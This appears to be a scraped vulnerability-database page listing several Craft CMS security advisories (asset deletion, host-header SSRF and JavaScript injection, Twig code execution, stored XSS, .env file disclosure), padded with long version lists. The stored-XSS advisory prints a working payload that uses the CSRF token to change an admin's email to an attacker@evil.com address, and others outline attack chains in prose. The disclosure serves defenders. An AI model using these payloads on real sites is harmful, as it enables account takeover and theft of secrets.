            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.15


          5.9.22

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-50283 GHSA-qh45-9g5p-m2v4 Jul 02, 2026

Craft CMS: Unauthorized Deletion of Source Assets During File Replacement

Medium

Network Low Low None

We have identified an authorization issue in Craft CMS AssetsController::actionReplaceFile that can delete a source asset without source delete permission by supplying both assetId and sourceAssetId.

Description

Craft CMS’s craft\\controllers\\AssetsController::actionReplaceFile() supports replacing a target asset file using another existing asset as the source. The action loads:

$assetToReplace from assetId
$sourceAsset from sourceAssetId

It then enforces replace permissions using ($assetToReplace ?: $sourceAsset). When both IDs are provided, this expression resolves to the target asset so no permission check is performed against the source asset volume.

$this->requireVolumePermissionByAsset('replaceFiles', $assetToReplace ?: $sourceAsset);
$this->requirePeerVolumePermissionByAsset('replacePeerFiles', $assetToReplace ?: $sourceAsset);

src/controllers/AssetsController.php:L433-L434

In the branch where both assets are present, Craft copies the source file into the target and then deletes the source asset. There is no check for deleteAssets:<sourceVolumeUid> or deletePeerAssets:<sourceVolumeUid> for the source asset before deletion.

$assets->replaceAssetFile($assetToReplace, $tempPath, $assetToReplace->getFilename(), $sourceAsset->getMimeType());
Craft::$app->getElements()->deleteElement($sourceAsset);

src/controllers/AssetsController.php:L462-L463

Impact

An authenticated user who can replace files in one volume can delete assets in another volume where they do not have delete permission, as long as they can obtain a sourceAssetId. This can lead to unauthorized asset deletion, broken content references, and data loss.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 402 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.14


          5.9.21

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-55791 GHSA-c55v-343g-5xff Jun 19, 2026

Craft CMS: Blind SSRF and Arbitrary JavaScript Injection via Host Header Poisoning in actionResourceJs

Critical

Network Low None None

1. Overview

Craft CMS is vulnerable to Server-Side Request Forgery (SSRF) and Arbitrary JavaScript Injection through the /actions/app/resource-js endpoint. By exploiting the default permissive trustedHosts configuration, an attacker can poison the Host or X-Forwarded-Host header to manipulate the application’s $baseUrl. This bypasses the endpoint’s internal URL validation, forcing the backend Guzzle client to fetch a malicious payload from an attacker-controlled server and reflect it to the client with a Content-Type: application/javascript header.

2. Vulnerability Mechanism (Root Cause) The vulnerability manifests when assetManager.cacheSourcePaths is set to false. The attack chain relies on three structural flaws and insecure defaults:

A. Default Proxy Trust (trustedHosts): Craft’s default GeneralConfig::$trustedHosts is set to ['any']. This allows an attacker to bypass front-end web server (Nginx/Apache) strict Host header validations by simply injecting an X-Forwarded-Host header. Yii2 will parse this and globally set $baseUrl to the attacker's domain.
B. Insecure HTTP Client (actionResourceJs): In AppController::actionResourceJs(), the str_starts_with($url, $baseUrl) validation is bypassed because $baseUrl is already poisoned by the attacker. The core then uses Craft::createGuzzleClient()->get($url). Unlike the GraphQL Asset fetcher, this Guzzle instance defaults to ALLOW_REDIRECTS => true.
C. Forced JS Content-Type: The response fetched from the attacker's server is blindly returned to the user via $this->asRaw() with the header Content-Type: application/javascript.

3. Attack Scenario & Impact (Proof of Exploitability) This endpoint acts as a proxy, taking remote, unverified content and serving it as valid JavaScript. While the direct SSRF allows for internal network probing, the most devastating impact occurs when caching layers are involved.

If the Craft CMS instance is behind a caching layer, this vulnerability leads directly to Web Cache Poisoning:

An unauthenticated attacker sends the poisoned request.
The caching layer caches the malicious JavaScript response for the legitimate /actions/app/resource-js URI.
When an authenticated Administrator logs into the Control Panel, their browser loads the poisoned cached JavaScript (Stored XSS).
The malicious script extracts window.Craft.csrfTokenValue and silently sends a POST request to /admin/actions/plugins/install-plugin, achieving 1-Click Remote Code Execution (RCE) via Session Riding.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 408 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.16


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.18


          5.10

References

Updated Jun 19, 2026 · Source: OSV.dev

Apr 07, 2026

5.9.18 patch

11 CVEs

CVE-2026-55794 GHSA-f74w-488g-8x5r Jul 06, 2026

Craft CMS: Potential authenticated Remote Code Execution via referrer redirect

High

Network Low Low None

Requirements:

Control panel access
Permissions to edit an entry

Details

Control panel users with the ability to edit entries can execute unsandboxed Twig code via the HTTP Referrer header.

The issue happens when a user is saving entries. Strings for a signed redirect URL are being compiled as a Twig template via renderObjectTemplate(), and while a sandboxed alternative already exists (renderSandboxedObjectTemplate()), it is not used in this case. This signed URL can be specified by users, as it is reflected in the “Referer” HTTP request header, which is under attacker control.

This has been fixed in Craft 5.10.0. Affected users should update to that version or higher to get the fix.

Resources

https://github.com/craftcms/cms/pull/18680

Affected versions


          5.9.0


          5.9.1


          5.9.10


          5.9.11


          5.9.12


          5.9.13


          5.9.14


          5.9.15


          5.9.16


          5.9.17


          5.9.18


          5.9.19

+ 12 more


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          5.10.0

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-55793 GHSA-xrqc-p465-2xvg Jul 06, 2026

Craft CMS: Stored XSS via Structure entry title in table view

Medium

Network Low Low

Stored XSS via Structure entry title in table view

Summary

An Author-level control panel user can store a JavaScript payload in an entry title. When an admin, or any control panel user with saveEntries for the same Structure section, drags another entry under the poisoned entry in table view, the payload executes in the victim’s session.

The issue is exploitable because the title is escaped into data-title by the server, decoded again by the browser, read with jQuery .data('title'), and then concatenated into a new HTML string without attribute escaping.

Execution was verified with alert(document.domain). Impact was verified against an elevated admin session by changing the admin user’s email through users/save-user, then using the password-reset flow to take over the account.

Preconditions

Attacker has createEntries + saveEntries on a Structure-type section (Author-style CP account; no admin permission required).
Victim has saveEntries on the same section. Craft only renders drag handles when structureEditable is true, which requires this permission, so any admin qualifies.
Section must be type Structure. Channel and Single sections are unaffected.
Poisoned entry must have no children at the time of the drag (fires on the 0-to-1 descendant transition).
For the email-change account-takeover path, the victim must currently have an elevated session. The stored XSS itself does not require elevation.

Root cause

ElementTableSorter.js lines 643-652:

const ancestorTitle = this._updateAncestors._$ancestor.data('title');
$(
  '<button … aria-label="' +
    Craft.t('app', 'Show {title} children', {title: ancestorTitle}) +
  '"></button>'
).insertAfter(…);

Craft.t with a {title} token calls _parseToken, reaches case 'none': return arg (Craft.js:193-194), and returns the title verbatim. The result is handed to jQuery's $() and parsed as HTML.

The server-side template correctly encodes the entry title into data-title, but the browser decodes that attribute before jQuery returns it from .data('title'). At that point the value is attacker-controlled HTML, and it is inserted into the aria-label attribute without Craft.escapeHtml().

Steps to reproduce

Plant (attacker - Author account):

python3 poc.py --url http://target --cp admin \
  --user author@example.com --pass secret --section mySection

Trigger (victim - any control panel user with saveEntries, e.g. admin):

Open the section index in Table view.
Drag the "Drag me" entry and drop it as the first child of the poisoned entry.

alert(document.domain) fires in the victim’s session.

Impact payload tested in an elevated admin session (249 chars, within the 255-char title limit):

"><img src=x onerror="fetch(Craft.actionUrl+'users/save-user',{method:'POST',body:Craft.csrfTokenName+'='+encodeURIComponent(Craft.csrfTokenValue)+'&userId=1&email=attacker%40evil.com',headers:{'Content-Type':'application/x-www-form-urlencoded'}})">

When triggered during an elevated admin session, the admin’s email is changed to the attacker-controlled address. The attacker can then request a password reset and receive the reset link.

Impact

Stored XSS in the control panel from an Author-level account. The payload runs as the victim control panel user and can use Craft.csrfTokenName / Craft.csrfTokenValue to send same-origin action requests as that user.

In my test environment, triggering the payload in an elevated admin session allowed Author-to-admin account takeover via admin email change and password reset.

Mitigating factors

Requires an existing control panel account (Author role minimum).
Victim must perform a drag operation, not just visit the page.
The demonstrated email-change takeover requires the victim’s session to be elevated at trigger time.

Resources

https://github.com/craftcms/cms/commit/162321e899cc97517fb6f5a02b5528f549d0c6cc

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 159 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          5.9.53

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-55792 GHSA-287w-mxq6-x2cp Jul 06, 2026

Craft CMS: Sensitive File Disclosure / Server-Side File Read

Medium

Network Low Low None

The dataUrl() Twig function is included in Craft’s Twig sandbox allowlist, allowing any control panel user granted the utility:system-messages permission to embed a file-reading payload into system email templates. When those emails are sent, the server reads the target file and returns its contents as a base64-encoded data URL embedded in the email body. The .env file, which typically contains the database password, CRAFT_SECURITY_KEY, and third-party API keys, passes all of Craft’s existing dataUrl() protection checks and is fully exfiltrated. Obtaining CRAFT_SECURITY_KEY enables an attacker to forge session tokens and escalate to full admin account takeover.

Details

Affected versions: Craft CMS 4.x, 5.x (confirmed against 5.9.19)

The vulnerability arises from the combination of three code facts:

dataUrl is in the Twig sandbox allowlist src/config/twig-sandbox.php, line 115: php'allowedFunctions' => [ ... 'dataUrl', // ← allows file reading inside sandboxed templates ... ],
Html::dataUrl() does not block dotfiles src/helpers/Html.php, lines 1065–1090. The function applies four checks before reading a file:

Must be within the project root .env is at the root Must not be in a system directory (config/, vendor/, storage/, templates/) .env is not Must not be a .php file .env has no extension File must exist .env always exists in a Craft install

There is no check for dotfiles or specifically for .env. All four checks pass silently and file_get_contents() is called, with the result returned as data:text/plain;base64,....

System message body is rendered via renderSandboxedString() src/mail/Mailer.php, lines 181–183: php$subject = $view->renderSandboxedString($systemMessage->subject, $variables); $textBody = $view->renderSandboxedString($systemMessage->body, $variables); $htmlBody = $view->renderSandboxedString($systemMessage->body, $variables, escapeHtml: true);

Any body content saved to a system message is executed inside the Twig sandbox when the email renders. Because dataUrl is in allowedFunctions, the sandbox policy permits its execution without restriction.

Access control: The utility:system-messages permission is a non-admin CP permission grantable to any user group via Settings > Users > Groups. It is not restricted to admins.

Impact

Vulnerability type: Sensitive File Disclosure / Server-Side File Read Who is impacted: Any Craft CMS 4.x or 5.x installation where at least one non-admin control panel user has been granted the utility:system-messages permission, and email sending is configured.

Resources:

https://github.com/craftcms/cms/pull/18559

Affected versions


          4.0.0


          4.0.0-RC1


          4.0.0-RC2


          4.0.0-RC3


          4.0.0.1


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          4.0.5


          4.0.5.1


          4.0.5.2

+ 408 more


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.16


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7


            5.0.0


            5.0.0-RC1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.0.6


